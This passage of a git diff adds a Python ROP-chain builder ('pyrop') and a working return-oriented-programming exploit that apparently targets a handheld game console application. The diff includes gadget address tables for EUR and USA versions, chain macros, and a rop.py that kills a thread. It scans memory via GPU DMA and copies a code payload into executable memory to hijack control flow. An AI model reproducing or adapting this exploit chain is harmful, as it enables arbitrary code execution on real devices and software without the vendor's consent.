self.register_macro(func.__name__) + + def wrapper(*args, **kwargs): + old = func.__globals__.copy() + for key in self.current_context.keys(): + del func.__globals__[key] + + if not self.loaded: + self.add_macro_context(func.__name__) + self.switch_context(self.macros[func.__name__].get_last_instance()) + self.parse_labels(getsource(func)) + + else: + self.switch_context(self.macros[func.__name__].get_next_instance()) + + func.__globals__.update(self.current_context) + func(*args, **kwargs) + func.__globals__.clear() + func.__globals__.update(old) + + self.restore_context() + + wrapper.original = func.original if hasattr(func, 'original') else func + return wrapper + + +class PopModule(BaseBuilder): + def __init__(self): + super().__init__() + self.pop_macros = dict() + self.current_count = 0 + + def append_stub(self, other): + self.current_count += len(other) + + @user_function + def pop_macro(self, func): + wrapped_func = func + original_func = func.original if hasattr(func, 'original') else func + + args = signature(original_func).parameters.keys() + if set(args) - {"r"+str(i) for i in range(16)}: + raise Exception("Non register argument found in pop_macro!") + + self.current_count = 0 + append = self.append + self.append = self.append_stub + + wrapped_func(**({name: 0 for name in args})) + self.append = append + + self.pop_macros[original_func.__name__] = (func, set(args), self.current_count) + return func + + @user_function + def pop(self, **registers): + reg_set = set(registers.keys()) + if reg_set - {"r"+str(i) for i in range(16)}: + raise Exception("Trying to pass non register argument to a pop_macro!") + candidates = {name: infos for name, infos in self.pop_macros.items() if infos[1] & reg_set} + pop_stack = [] + while reg_set: + pop_stack.append(self.find_best(candidates, reg_set)) + if pop_stack[-1] is None: + raise Exception("Could not find pop_macro to pop register(s): " + str(reg_set)) + reg_set -= self.pop_macros[pop_stack[-1]][1] + for func in pop_stack: + candidates[func][0](**{reg: registers.get(reg, 0x0) for reg in candidates[func][1]}) + # if the value to pop isn't specified, then pop 0x0, for example when you only have pop {r2-r6, pc} to pop + # r2 then 0x0 will be popped to r3-r6 + print(pop_stack) + + @staticmethod + def find_best(candidates, regs): + name = None + best_rate = 0 + total_pop = 16 + for func, infos in candidates.items(): + nb = len(regs & infos[1]) + rate = nb/infos[2] + if nb == 0: + continue + if best_rate < rate or (best_rate == rate and len(infos[1]) <= total_pop): + name = func + best_rate = rate + total_pop = len(infos[1]) + return name diff --git a/pyrop/builder_base.py b/pyrop/builder_base.py new file mode 100644 index 0000000..23688fb --- /dev/null +++ b/pyrop/builder_base.py @@ -0,0 +1,173 @@ +import traceback +import os +import sys + +modules_user_functions = dict() + + +def user_function(func): + infos = func.__qualname__.rsplit('.', 1) + modules_user_functions.setdefault(infos[0], dict()) + modules_user_functions[infos[0]][infos[1]] = func + return func + + +class BaseBuilder: + @classmethod + def create(cls, name, *modules): + def init(self): + super(builder, self).__init__() + + builder = type(name, tuple(modules) + (cls,), {"__init__": init}) + return builder() + + def __new__(cls, *args, **kwargs): + instance = object.__new__(cls) + instance.chain = None + instance.mem_offset = 0 + instance.loaded = False + instance.built = False + instance.user_functions = dict() + return instance + + def __init__(self): + for base in reversed(self.__class__.__mro__): + base_user_func = modules_user_functions.get(base.__qualname__, dict()) + self.user_functions.update({name: base.__dict__[name].__get__(self, self.__class__) + for name, func in base_user_func.items()}) + + def set_mem_offset(self, offset): + pass + + def append(self, other): + pass + + def load(self, file): + pass + + def build(self, file): + pass + + +class BasicBuilder(BaseBuilder): + def __init__(self): + super().__init__() + self.chain = [] + self.mem_offset = 0 + + @user_function + def set_mem_offset(self, offset: int): + self.mem_offset = offset + + def append(self, bytes_l): + self.mem_offset += len(bytes_l) + if self.loaded: + self.chain += bytes_l + + def add_value(self, word: int, byte_size: int = 4): + if byte_size < 1: + raise ValueError("Size of word should be greater than zero!") + + bit_size = byte_size * 8 + if word.bit_length() > bit_size: + raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") + + self.append((word if self.loaded else 0).to_bytes(byte_size, 'little')) + + @user_function + def add_word(self, word): + self.add_value(word, 4) + + @user_function + def add_halfword(self, word): + self.add_value(word, 2) + + @user_function + def add_byte(self, byte): + self.add_value(byte, 1) + + @user_function + def incbin(self, incfile: str): + self.append(open(incfile, 'rb').read()) + + @user_function + def org(self, address: int): + if address < self.mem_offset: + raise ValueError("Trying to ORG backwards!") + + self.append([0x0 for i in range(address - self.mem_offset)]) + + @user_function + def align(self, value: int): + self.append([0 for i in range((value - (self.mem_offset % value)) % value)]) + + @user_function + def fill(self, size: int, value: int, v_byte_size: int = 1): + if v_byte_size < 1: + raise ValueError("Size of value should be greater than zero!") + + bit_size = v_byte_size * 8 + if value.bit_length() > bit_size: + raise ValueError("Value does not fit in a " + str(bit_size) + "bits word!") + + self.append((value.to_bytes(v_byte_size, 'little') * ((size // v_byte_size) + 1))[:size]) + + @user_function + def add_ascii(self, string: str): + self.add_str(string) + + @user_function + def add_utf16(self, string: str): + self.add_str(string, 'utf_16_le') + + @user_function + def add_str(self, string: str, encoding: str = 'us-ascii'): + self.append([c for c in string.encode(encoding)]) + + def build(self, file): + if self.built: + raise PermissionError("You cannot build multiple times!") + + if not self.loaded: + self.load(file) + + old = os.getcwd() + sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call + try: + content = open(file, "rb").read() + os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. + exec(compile(content, file, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while building: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + os.chdir(old) + sys.path.remove(os.path.dirname(os.path.abspath(file))) + self.built = True + + def load(self, file): + if self.loaded: + return + + sys.path.append(os.path.dirname(os.path.abspath(file))) # for module import that aren't "include" call + old = os.getcwd() + try: + content = open(file, "rb").read() + os.chdir(os.path.dirname(os.path.abspath(file))) # set the current working directory, for open() etc. + exec(compile(content, file, 'exec'), self.user_functions) + except Exception as err: + print("An exception occured while loading: ", file=sys.stderr) + lines = traceback.format_exc(None, err).splitlines() + print(" " + lines[-1], file=sys.stderr) + for l in lines[3:-1]: + print(l, file=sys.stderr) + exit(1) + + os.chdir(old) + sys.path.remove(os.path.dirname(os.path.abspath(file))) + self.loaded = True + self.mem_offset = 0 diff --git a/pyrop/pyrop.py b/pyrop/pyrop.py new file mode 100644 index 0000000..63a8b1f --- /dev/null +++ b/pyrop/pyrop.py @@ -0,0 +1,17 @@ +import sys +from ast import * +from builder_base import * +from base_modules import * + +cmdargs = sys.argv +if len(cmdargs) != 3: + print("Usage: pyRop.py input_file output_file") + +builder = BasicBuilder.create('Test', IncludeModule, AreaModule, LabelModule, PopModule) +builder.build(cmdargs[1]) + +os.makedirs(os.path.dirname(os.path.abspath(cmdargs[2])), exist_ok=True) +output_file = open(cmdargs[2], 'wb') +output_file.write(bytes(builder.chain)) +output_file.close() + diff --git a/rop/Makefile b/rop/Makefile new file mode 100644 index 0000000..c3d48c2 --- /dev/null +++ b/rop/Makefile @@ -0,0 +1,7 @@ +all: build/rop.bin + +build/rop.bin: rop.py macros.py constants.py + @python3 $(PYROP)/pyrop.py rop.py build/rop.bin + +clean: + @rm -rf build diff --git a/rop/__pycache__/constants.cpython-35.pyc b/rop/__pycache__/constants.cpython-35.pyc new file mode 100644 index 0000000..2868e5e Binary files /dev/null and b/rop/__pycache__/constants.cpython-35.pyc differ diff --git a/rop/constants.py b/rop/constants.py new file mode 100644 index 0000000..81d32f7 --- /dev/null +++ b/rop/constants.py @@ -0,0 +1,11 @@ +TITLE_OFFSET = 0x1B3AC +DESC_OFFSET = 0x276D8 +PUBLIC_RELEASE_OFFSET = 0x27784 +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 + +LINEAR_BUFFER = 0x30000000 +APPMEMTYPE = 0x1FF80030 +SCANLOOP_STRIDE = 0x1000 +CODEBIN_MAX_SIZE = 0x326000 +PAYLOAD_VA = 0x384000 diff --git a/rop/macros.py b/rop/macros.py new file mode 100644 index 0000000..37ecbc0 --- /dev/null +++ b/rop/macros.py @@ -0,0 +1,84 @@ +include("../ropdb/DB.py") + +def garbage(n): + for i in range(n): + add_word(0xDEAC0DE) + +def memcpy(dest, src, size): + SET_LR(NOP) + pop(r0=dest, r1=src, r2=size) + add_word(MEMCPY) + +def memcmp(buf1, buf2, size): + SET_LR(NOP) + pop(r0=buf1, r1=buf2, r2=size) + add_word(MEMCMP) + +@pop_macro +def POP_R0(r0): + add_word(POP_R0PC) + add_word(r0) + +@pop_macro +def POP_R1(r1): + add_word(POP_R1PC) + add_word(r1) + +@pop_macro +def POP_R4(r4): + add_word(POP_R4PC) + add_word(r4) + +@pop_macro +def POP_R2R3R4R5R6(r2, r3, r4, r5, r6): + add_word(POP_R2R3R4R5R6PC) + add_word(r2) + add_word(r3) + add_word(r4) + add_word(r5) + add_word(r6) + +def SET_LR(lr): + POP_R1(NOP) + add_word(POP_R4LR_BX_R1) + add_word(0xDEADC0DE) #r4 garbage + add_word(lr) + +def deref_to_r0(addr): + POP_R0(addr) + add_word(LDR_R0R0_POP_R4PC) + add_word(0xDEADC0DE) + +def add_r0(value): + POP_R1(value) + add_word(ADD_R0R0R1_POP_R4PC) + add_word(0xDEADC0DE) + +def compare_r0_0(): + add_word(CMP_R0_0_MOVNE_R0_1_POP_R4PC) + add_word(0xDEADC0DE) + +def store(value, addr): + pop(r0=value, r4=addr) + add_word(STR_R0R4_POP_R4PC) + add_word(0xDEADC0DE) + +def store_if_equal(value, addr): + pop(r0=value, r4=addr-4) + add_word(STREQ_R0R4_4_POP_R4R5R6PC) + garbage(3) + +def store_r0(addr): + POP_R4(addr) + add_word(STR_R0R4_POP_R4PC) + add_word(0xDEADC0DE) + +def sleep(tl, th=0): + SET_LR(NOP) + pop(r0=tl, r1=th) + add_word(SVC_SLEEPTHREAD) + +def flush_dcache(addr, size): + pop(r0=addr, r1=size) + add_word(GSPGPU_FLUSHDATACACHE_WRAPPER+0x4) + garbage(3) diff --git a/rop/rop.py b/rop/rop.py new file mode 100644 index 0000000..625f8c5 --- /dev/null +++ b/rop/rop.py @@ -0,0 +1,103 @@ +include("../ropdb/DB.py") +from constants import * +import os +include("macros.py") + +LOOP_DST = LINEAR_BUFFER + 0x1D00000 +INITIAL_DST = LINEAR_BUFFER + 0x1B00000 + +set_mem_offset(ROP_PTR) + +put_label("start") + +deref_to_r0(APPMEMTYPE) +add_r0(0x100000000-0x6) +compare_r0_0() +store_if_equal(LINEAR_BUFFER + 0x07C00000 - CODEBIN_MAX_SIZE, loop_src) +store(SVC_EXITTHREAD, ANNOYING_THREAD_KILL) + +put_label("scan_loop") + +add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) +add_word(0x4) +put_label("loop_src") +add_word(LINEAR_BUFFER + 0x04000000 - CODEBIN_MAX_SIZE) +add_word(LOOP_DST) +add_word(SCANLOOP_STRIDE) +add_word(0xFFFFFFFF) +add_word(0xFFFFFFFF) +add_word(0x8) +add_word(0x0) + +add_word(0x0) + +garbage(4) + +sleep(200*1000) + +store(GSPGPU_GXTRYENQUEUE_WRAPPER, scan_loop) +flush_dcache(LOOP_DST, SCANLOOP_STRIDE) + +memcmp(LOOP_DST, PAYLOAD_VA, 0x20) +compare_r0_0() +store_if_equal(NOP, loop_pivot) + +deref_to_r0(loop_src) +add_r0(SCANLOOP_STRIDE) #next mempage +store_r0(loop_src) + +pop(r0=NOP_ptr_min_0x8) + +pop(r0=scan_loop, r1=NOP) +put_label("loop_pivot") +add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) + + +deref_to_r0(loop_src) +add_r0(0x100000000 - SCANLOOP_STRIDE) #after the scanloop is broken, magicval is at *(loop_src) - SCANLOOP_STRIDE +store_r0(final_dst) #store the location for the final gspwn + +memcpy(INITIAL_DST, CODE_PTR, os.path.getsize('../code/code.bin')) + +flush_dcache(INITIAL_DST, 0x100000) + +add_word(GSPGPU_GXTRYENQUEUE_WRAPPER) +add_word(0x4) +add_word(INITIAL_DST) +put_label("final_dst") +add_word(0xDEADC0DE) +add_word(0x2000) +add_word(0xFFFFFFFF) +add_word(0xFFFFFFFF) +add_word(0x8) +add_word(0x0) + +add_word(0x0) + +garbage(4) + + + +put_label("check_loop") + +sleep(200*1000) + +memcmp(CODE_PTR, PAYLOAD_VA, 0x2000) +compare_r0_0() +store_if_equal(NOP, check_loop_pivot) + +pop(r0=check_loop, r1=NOP) +put_label("check_loop_pivot") +add_word(MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1) + + + +add_word(PAYLOAD_VA) + +put_label("NOP_ptr_min_0x8") +add_word(NOP_ptr_min_0x8) + +add_word(0x0) +add_word(NOP) + +put_label("end") diff --git a/ropdb/EUR.py b/ropdb/EUR.py new file mode 100644 index 0000000..d6d6f93 --- /dev/null +++ b/ropdb/EUR.py @@ -0,0 +1,63 @@ +MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x216000 +LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1F615C +LDRD_ROR1R4_8_BLX_R2 = 0x11E740 + +MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16E978 + +NOP = 0x297DFC +POP_R0PC = 0x10FBE4 +POP_R1PC = 0x28BE28 +POP_R3PC = 0x117D10 +POP_R4PC = 0x1042B8 +POP_R4R5PC = 0x108284 +POP_R4R5R6PC = 0x104264 +POP_R2R3R4R5R6PC = 0x277C10 +POP_R4R5R6R7R8R9R10R11R12PC = 0x29C95C + +POP_R4LR_BX_R1 = 0x12355C + +SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x393144 + +LDR_R0R0_POP_R4PC = 0x20D778 +LDR_R0R4_POP_R4PC = 0x13897C +STR_R0R4_POP_R4PC = 0x1301FC +ADD_R0R0R4_POP_R4R5R6PC = 0x12C1A4 +ADD_R0R0R1_POP_R4PC = 0x18BC28 + +CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10FD38 +STREQ_R0R4_4_POP_R4R5R6PC = 0x37568C + +MEMCPY = 0x28B954 +MEMCMP = 0x259914 + +SVC_SLEEPTHREAD = 0x273D6C +SVC_EXITTHREAD = 0x11E76C + +GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120A00 +GSPGPU_GXTRYENQUEUE = 0x278A34 +GSPGPU_SETTEXTURECOPY = 0x120C70 #GXCMD4 +GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118A10 +GSPGPU_FLUSHDATACACHE = 0x120F94 +GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 +GSPGPU_HANDLE = 0x3F67F0 + +DSP_UNLOADCOMPONENT = 0x278C1C +DSP_REGISTERINTERRUPTEVENTS = 0x2FB604 +DSP_HANDLE = 0x3F67B4 + +#OFFSET/PTR +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 +SECTION1_PTR = 0x08A67E84 +FILE_PTR = SECTION1_PTR - SECTION1_OFFSET +SECTION2_PTR = FILE_PTR + SECTION2_OFFSET +OTHERAPP_PTR = FILE_PTR+0x190000+0x4 + +DWORD_3F0E1C = 0x425580 +BUTTON_TABLE = DWORD_3F0E1C + 0x19FC + 0x50 + +ROP_PTR = FILE_PTR+0x160000 +CODE_PTR = FILE_PTR+0x170000 +STACK_DEST = 0x0FFFFEF4 + +ANNOYING_THREAD_KILL = 0x4FA3B8 diff --git a/ropdb/USA.py b/ropdb/USA.py new file mode 100644 index 0000000..89885eb --- /dev/null +++ b/ropdb/USA.py @@ -0,0 +1,62 @@ +ADD_R0R0R1_POP_R4PC = 0x18bc18 +ADD_R0R0R4_POP_R4R5R6PC = 0x12c0b4 + +CMP_R0_0_MOVNE_R0_1_POP_R4PC = 0x10fd20 + +DSP_REGISTERINTERRUPTEVENTS = 0x2FB55C +DSP_UNLOADCOMPONENT = 0x278c14 +DSP_HANDLE = 0x3F67B4 + +GSPGPU_FLUSHDATACACHE = 0x120EA4 +GSPGPU_FLUSHDATACACHE_WRAPPER = 0x118924 +GSPGPU_GXTRYENQUEUE = 0x278a2c +GSPGPU_GXTRYENQUEUE_WRAPPER = 0x120910 +GSPGPU_SETTEXTURECOPY = 0x120b80 +GSPGPU_INTERRUPT_RECEIVER_STRUCT = 0x3EDC40 +GSPGPU_HANDLE = 0x3F67F0 + +LDRD_R2R3R0_60_LDR_R0R0_LDR_R1R0_34_MOV_R0R4_BLX_R1 = 0x1f6128 +LDRD_ROR1R4_8_BLX_R2 = 0x11e650 +LDR_R0R0_POP_R4PC = 0x20d758 +LDR_R0R4_POP_R4PC = 0x13888c + +MEMCMP = 0x259920 +MEMCPY = 0x28b94c +MOV_R4R0_LDR_R1R0_LDR_R1R1_8_BLX_R1 = 0x215fe0 +MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1 = 0x16e7f8 + +NOP = 0x104f74 + +POP_R0PC = 0x10fbcc +POP_R1PC = 0x28be20 +POP_R2R3R4R5R6PC = 0x277c08 +POP_R3PC = 0x117c24 +POP_R4LR_BX_R1 = 0x1136fc +POP_R4PC = 0x1042b8 +POP_R4R5PC = 0x108284 +POP_R4R5R6PC = 0x104264 +POP_R4R5R6R7R8R9R10R11R12PC = 0x10b724 + +STREQ_R0R4_4_POP_R4R5R6PC = 0x3755e4 +STR_R0R4_POP_R4PC = 0x13010c +SUB_SPSP_BC_LDR_R3R0_MUL_R1R7R1_LDR_R3R3_8_BLX_R3 = 0x39309c + +SVC_EXITTHREAD = 0x11e67c +SVC_SLEEPTHREAD = 0x273d64 + +#OFFSET/PTR +SECTION1_OFFSET = 0xE8 +SECTION2_OFFSET = 0x2E348 +SECTION1_PTR = 0x08A67E84 +FILE_PTR = SECTION1_PTR - SECTION1_OFFSET +SECTION2_PTR = FILE_PTR + SECTION2_OFFSET +OTHERAPP_PTR = FILE_PTR+0x190000+0x4 + +DWORD_3F0E1C = 0x425580 +BUTTON_TABLE = DWORD_3F0E1C + 0x19FC + 0x50 + +ROP_PTR = FILE_PTR+0x160000 +CODE_PTR = FILE_PTR+0x170000 +STACK_DEST = 0x0FFFFEF4 + +ANNOYING_THREAD_KILL = 0x4F9DB8